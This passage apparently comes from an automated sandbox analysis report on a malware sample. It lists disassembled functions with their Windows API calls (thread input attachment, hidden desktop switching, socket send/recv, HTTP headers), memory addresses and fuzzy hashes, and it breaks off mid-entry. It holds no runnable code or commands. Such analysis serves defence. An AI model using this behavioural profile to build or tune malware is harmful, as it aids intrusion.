                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9B319BB5D4120DAFDB40CFA8D985AEEBBF5FB48301F50856AE915E7200E7749A148F90
                                                                                                                                                                                                                      Function 02708080 Relevance: 7.6, APIs: 5, Instructions: 68sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathFindFileNameA.SHLWAPI(?), ref: 027080CA
                                                                                                                                                                                                                      • FindFirstChangeNotificationA.KERNEL32(?,00000000,0000010D,?,?,00000000), ref: 02708108
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000), ref: 02708123
                                                                                                                                                                                                                      • FindNextChangeNotification.KERNEL32(00000000,?,?,00000000), ref: 0270812A
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000BB8,?,?,00000000), ref: 02708151
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Find$ChangeNotification$FileFirstNameNextObjectPathSingleSleepWait
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 433761119-0
                                                                                                                                                                                                                      • Opcode ID: cf9472cfbc0b0d0eb0893af71da3a4512d9f8c9a6ef4e5db491fa3d6f1ba7312
                                                                                                                                                                                                                      • Instruction ID: f42651052e679f9f4f7f655ed234b2dc8d9a0446334222f23654acad5492004a
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cf9472cfbc0b0d0eb0893af71da3a4512d9f8c9a6ef4e5db491fa3d6f1ba7312
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B5210A30840619DBDB1187689C94BEB77E86F15305F144BA9D951A72C0EBB08E48CFE3
                                                                                                                                                                                                                      Function 0270AA20 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,75B05180,?,026F1368,?,?,?), ref: 0270AA37
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000013,?,?,026F1368,?,?,?), ref: 0270AA54
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,026F1368,?,?,?), ref: 0270AA5B
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000013,?,026F1368,?,?,?), ref: 0270AA6B
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,026F1368,?,?,?), ref: 0270AA88
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ByteCharHeapMultiWide$AllocProcessmemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 913929354-0
                                                                                                                                                                                                                      • Opcode ID: a7ac22d4eb167ea197829b0104704aa3f08637405485aeaee8fcb95cdc3c4df8
                                                                                                                                                                                                                      • Instruction ID: dcbcde980d1810d12596247541d73fb0ad0b9428c9e7cfc064b5304beffe5bb6
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a7ac22d4eb167ea197829b0104704aa3f08637405485aeaee8fcb95cdc3c4df8
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AD01A7B2642325BBE731496A5C88F9B3B9CDF46BB1F544310BE14EA1C4DB60D804C2F8
                                                                                                                                                                                                                      Function 026F6BB9 Relevance: 7.6, APIs: 5, Instructions: 54memoryregistrystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 026F6C1A
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 026F6C21
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000110,?,?,?,?,?,00000000), ref: 026F6C35
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 026F6C4E
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(80000001,?,?,?,?,?,00000000), ref: 026F6C5C
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$AllocCloseProcesslstrcpynmemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3057210225-0
                                                                                                                                                                                                                      • Opcode ID: 53879862aa9d33e49426335959e950714b100ca4952c600cee0c57e0a4d6c777
                                                                                                                                                                                                                      • Instruction ID: 6e68743d2698428b18eb5206933dea850e609d23f2e9142127714ec797997460
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 53879862aa9d33e49426335959e950714b100ca4952c600cee0c57e0a4d6c777
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9A114970E412589BEB2A9734DD4DBDE336CEF0C704F0049A8FB99D2281D7B18E948B95
                                                                                                                                                                                                                      Function 027080A6 Relevance: 7.6, APIs: 5, Instructions: 54sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathFindFileNameA.SHLWAPI(?), ref: 027080CA
                                                                                                                                                                                                                      • FindFirstChangeNotificationA.KERNEL32(?,00000000,0000010D,?,?,00000000), ref: 02708108
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000), ref: 02708123
                                                                                                                                                                                                                      • FindNextChangeNotification.KERNEL32(00000000,?,?,00000000), ref: 0270812A
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000BB8,?,?,00000000), ref: 02708151
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Find$ChangeNotification$FileFirstNameNextObjectPathSingleSleepWait
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 433761119-0
                                                                                                                                                                                                                      • Opcode ID: c1c251aac2262074f79134fbb4a3801a70d3bcc4a62f8ba1b2a8e6aa69e459f7
                                                                                                                                                                                                                      • Instruction ID: df392cbf5d7da3800470def1012038b77f6eb25f104620a21bd82412f88b55f2
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c1c251aac2262074f79134fbb4a3801a70d3bcc4a62f8ba1b2a8e6aa69e459f7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1B11863594021ADBDB21CB68DC84BDE77F8BF15305F144A98D911A72C0EBB09E48CFA2
                                                                                                                                                                                                                      Function 02709970 Relevance: 7.6, APIs: 5, Instructions: 52networkmemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,74D723A0,?,?), ref: 0270998D
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02709994
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000400,00000000), ref: 027099AF
                                                                                                                                                                                                                      • send.WS2_32(?,?,00000000,00000000), ref: 027099C0
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000400,00000000), ref: 027099D9
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heaprecv$FreeProcesssend
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2415998009-0
                                                                                                                                                                                                                      • Opcode ID: ac2a9c878908fd2e820867ef6dee2043a7273b4eb5f1da0d78dd8b180fd2bb55
                                                                                                                                                                                                                      • Instruction ID: 0feaa5fd8715c1049ae745cc2abd6ba55bb6e7dfe7d11bee39a4636f62025f72
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ac2a9c878908fd2e820867ef6dee2043a7273b4eb5f1da0d78dd8b180fd2bb55
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DA01D8B2A40214FBE71097688C89FAB77ACAF49B00F048455FB05E71C2D674A945CBF4
                                                                                                                                                                                                                      Function 026FD230 Relevance: 7.5, APIs: 5, Instructions: 41windowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenProcess.KERNEL32(00000410,00000000), ref: 026FD242
                                                                                                                                                                                                                      • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 026FD259
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 026FD26F
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 026FD280
                                                                                                                                                                                                                      • ExtractIconExA.SHELL32(?,00000000,?,00000000,00000001), ref: 026FD297
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$CloseExtractFileIconInformationModuleNameOpenProcess
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1270303404-0
                                                                                                                                                                                                                      • Opcode ID: 47a6aaec89efc2f8689d5018bd9e6308679ea28bde948418382ac01f435e77fb
                                                                                                                                                                                                                      • Instruction ID: 83c59615482da23e590bc7b5f187f20961f517468289d5cb452fd4d443b94ca3
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 47a6aaec89efc2f8689d5018bd9e6308679ea28bde948418382ac01f435e77fb
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EC013175981218BBEB20DB909C49FEE7B6CAB09706F404685FB05A61C0D7F05A548BE5
                                                                                                                                                                                                                      Function 0270A6B0 Relevance: 7.5, APIs: 5, Instructions: 41memorysynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,000003E8,00000000,0270A693,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A6BC
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000030,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A6C6
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A6CD
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000030,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A6DE
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(?,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A72A
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$AllocMutexObjectProcessReleaseSingleWaitmemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 819421891-0
                                                                                                                                                                                                                      • Opcode ID: 32872a28e41859ff88cd5ddc00f61f6ca5415880c49c872d2a1bc601139f58a7
                                                                                                                                                                                                                      • Instruction ID: 85d1373716629db9cafb2ac3de2b6bbe04dea42cc01be710af6b591f2916859e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 32872a28e41859ff88cd5ddc00f61f6ca5415880c49c872d2a1bc601139f58a7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 250105B4E82B11AFC724CF29E598A06BBF4FF48741B00CA19E99A97B40C730B550CF95
                                                                                                                                                                                                                      Function 026FE380 Relevance: 7.5, APIs: 5, Instructions: 37threadwindowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SetThreadDesktop.USER32(?,?,00000000,74DF3080,?,026F922C,?,00000006,00000000), ref: 026FE38C
                                                                                                                                                                                                                      • GetWindow.USER32(?,00000005,00000001,?,026F922C,?,00000006,00000000), ref: 026FE3A3
                                                                                                                                                                                                                      • GetWindow.USER32(00000000,?,026F922C,?,00000006,00000000), ref: 026FE3A6
                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,00000006,?,026F922C,?,026F922C,?,00000006,00000000), ref: 026FE3BD
                                                                                                                                                                                                                      • GetWindow.USER32(00000000,00000003,?,026F922C,?,00000006,00000000), ref: 026FE3C2
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$DesktopMessageSendThread
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3855296974-0
                                                                                                                                                                                                                      • Opcode ID: aa6792299003bfc3d88ccb5321a665653ae0d7016d55f44cfb950334ede30764
                                                                                                                                                                                                                      • Instruction ID: 89b3cd1c9e0d4248ecd9ade18aa8d1d96be0643ee171395e0be144f5192a483f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: aa6792299003bfc3d88ccb5321a665653ae0d7016d55f44cfb950334ede30764
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8BF08276A41218BBD7209B65EC88E6BB79CDB88761F018505FE0097340D6B1EC108AB0
                                                                                                                                                                                                                      Function 026F9F50 Relevance: 7.5, APIs: 5, Instructions: 37synchronizationwindowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,026FA63F,00000000), ref: 026F9F5C
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,026FA63F,00000000), ref: 026F9F8D
                                                                                                                                                                                                                      • IsWindow.USER32(?,?,026FA63F,00000000), ref: 026F9F94
                                                                                                                                                                                                                      • PostMessageA.USER32(?,00000215,00000000,00000000,?,?,?,?,?,00000080), ref: 026F9FAD
                                                                                                                                                                                                                      • SendMessageA.USER32(?,00000215,00000000,00000000,?,?,?,?,?,00000080), ref: 026F9FBA
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Message$MutexObjectPostReleaseSendSingleWaitWindow
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 794275546-0
                                                                                                                                                                                                                      • Opcode ID: 82de886936ce6310e905e5d6d80962a857eb15d8475effceff94f08366d8c6ac
                                                                                                                                                                                                                      • Instruction ID: d13b3bbf13ef7d3bf51227b5e48fde679336614757526a355727ec6b5d850eba
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 82de886936ce6310e905e5d6d80962a857eb15d8475effceff94f08366d8c6ac
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6C018131A822149BC7049F94E80CFDAB7E8EF1D762F44C565FA18D7380C7709420CBA1
                                                                                                                                                                                                                      Function 026FD2B0 Relevance: 7.5, APIs: 5, Instructions: 34threadwindowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(?,00000000), ref: 026FD2BC
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 026FD2C4
                                                                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 026FD2D0
                                                                                                                                                                                                                      • SendMessageA.USER32(?,0000000D,?,?), ref: 026FD2E1
                                                                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 026FD2ED
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Thread$AttachInput$CurrentMessageProcessSendWindow
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2643679612-0
                                                                                                                                                                                                                      • Opcode ID: 8c22c59ecfefc96ce1a400c9c419b10e762c195546eb6ee7977ab7fd442694ec
                                                                                                                                                                                                                      • Instruction ID: 3c888d05e93c1128618cf45ef7f16eed8b86af13b71abb90c24ce7edd10cfbbc
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8c22c59ecfefc96ce1a400c9c419b10e762c195546eb6ee7977ab7fd442694ec
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5DF03072681244BFD3145BA5EC8DFABBBACEB4D773F508816FA05D7241C6B5982087B0
                                                                                                                                                                                                                      Function 026FE340 Relevance: 7.5, APIs: 5, Instructions: 30threadwindowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(?,00000000,?,?,?,?,?,026F9F24,?,?,?,?,026F9400,?,?), ref: 026FE34A
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32(?,?,?,?,026F9F24,?,?,?,?,026F9400,?,?), ref: 026FE352
                                                                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,026F9F24,?,?,?,?,026F9400,?,?), ref: 026FE364
                                                                                                                                                                                                                      • GetFocus.USER32(?,?,?,?,026F9F24,?,?,?,?,026F9400,?,?), ref: 026FE366
                                                                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,026F9F24,?,?,?,?,026F9400,?,?), ref: 026FE373
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Thread$AttachInput$CurrentFocusProcessWindow
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 968181190-0
                                                                                                                                                                                                                      • Opcode ID: 7c44ade5c7fecaa21b738673bb3adb0b4e74d7c864a7f8b8c7f9593d7a8ba56a
                                                                                                                                                                                                                      • Instruction ID: 5b98af4dda22dfd9fe663447eb4322e65664c3d6a0b55b7559f3f7f9e7183ffc
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7c44ade5c7fecaa21b738673bb3adb0b4e74d7c864a7f8b8c7f9593d7a8ba56a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B5E09272E41304BBD61057A6AC4DFABBBACEB89773F904455FA08D3240D5759C1086B4
                                                                                                                                                                                                                      Function 026F7980 Relevance: 7.5, APIs: 5, Instructions: 20COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000,0270922F), ref: 026F7987
                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000), ref: 026F7992
                                                                                                                                                                                                                      • #680.SHELL32 ref: 026F799A
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 026F79A5
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 026F79AC
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorLast$#680CreateDirectoryFolderMakePathSystem
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1413619216-0
                                                                                                                                                                                                                      • Opcode ID: 9afa3c2294877ee0c5818ffc305c246570c16d502bd912048e3b05ca8fdb1051
                                                                                                                                                                                                                      • Instruction ID: 08e7407a596bba68cc8ef443646fac22dd61eddbc276ad47ff08233501551ccd
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9afa3c2294877ee0c5818ffc305c246570c16d502bd912048e3b05ca8fdb1051
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 56D01771A821209BDB121B36AC0C76E7668BF4DA0BF88881CFD01E1240DB34C2128665
                                                                                                                                                                                                                      Function 02700F60 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64networkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • HttpAddRequestHeadersA.WININET(?,?,?,A0000000), ref: 02700FD3
                                                                                                                                                                                                                      • HttpAddRequestHeadersA.WININET(?,Accept-Encoding:,00000012,A0000000), ref: 02700FE2
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HeadersHttpRequest
                                                                                                                                                                                                                      • String ID: ($Accept-Encoding:
                                                                                                                                                                                                                      • API String ID: 1754618566-3981465706
                                                                                                                                                                                                                      • Opcode ID: 50da2a4043019e0542ca4746527674a1a5c481f6a9d29ca53b195cce2f4afef8
                                                                                                                                                                                                                      • Instruction ID: 0f9dd08047a427ba6efff8f88b5f60e1c78ac24f4cfb40005738dd3ab18ac4a8
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 50da2a4043019e0542ca4746527674a1a5c481f6a9d29ca53b195cce2f4afef8
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5411EAB1904345AFD750CF29C884B5B7BE8AB89764F004A1EF999D3281D770E918DBA2
                                                                                                                                                                                                                      Function 02700EA0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63networkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • HttpAddRequestHeadersW.WININET(?,?,?,A0000000), ref: 02700F0D
                                                                                                                                                                                                                      • HttpAddRequestHeadersA.WININET(?,Accept-Encoding:,00000012,A0000000), ref: 02700F20
                                                                                                                                                                                                                      Strings
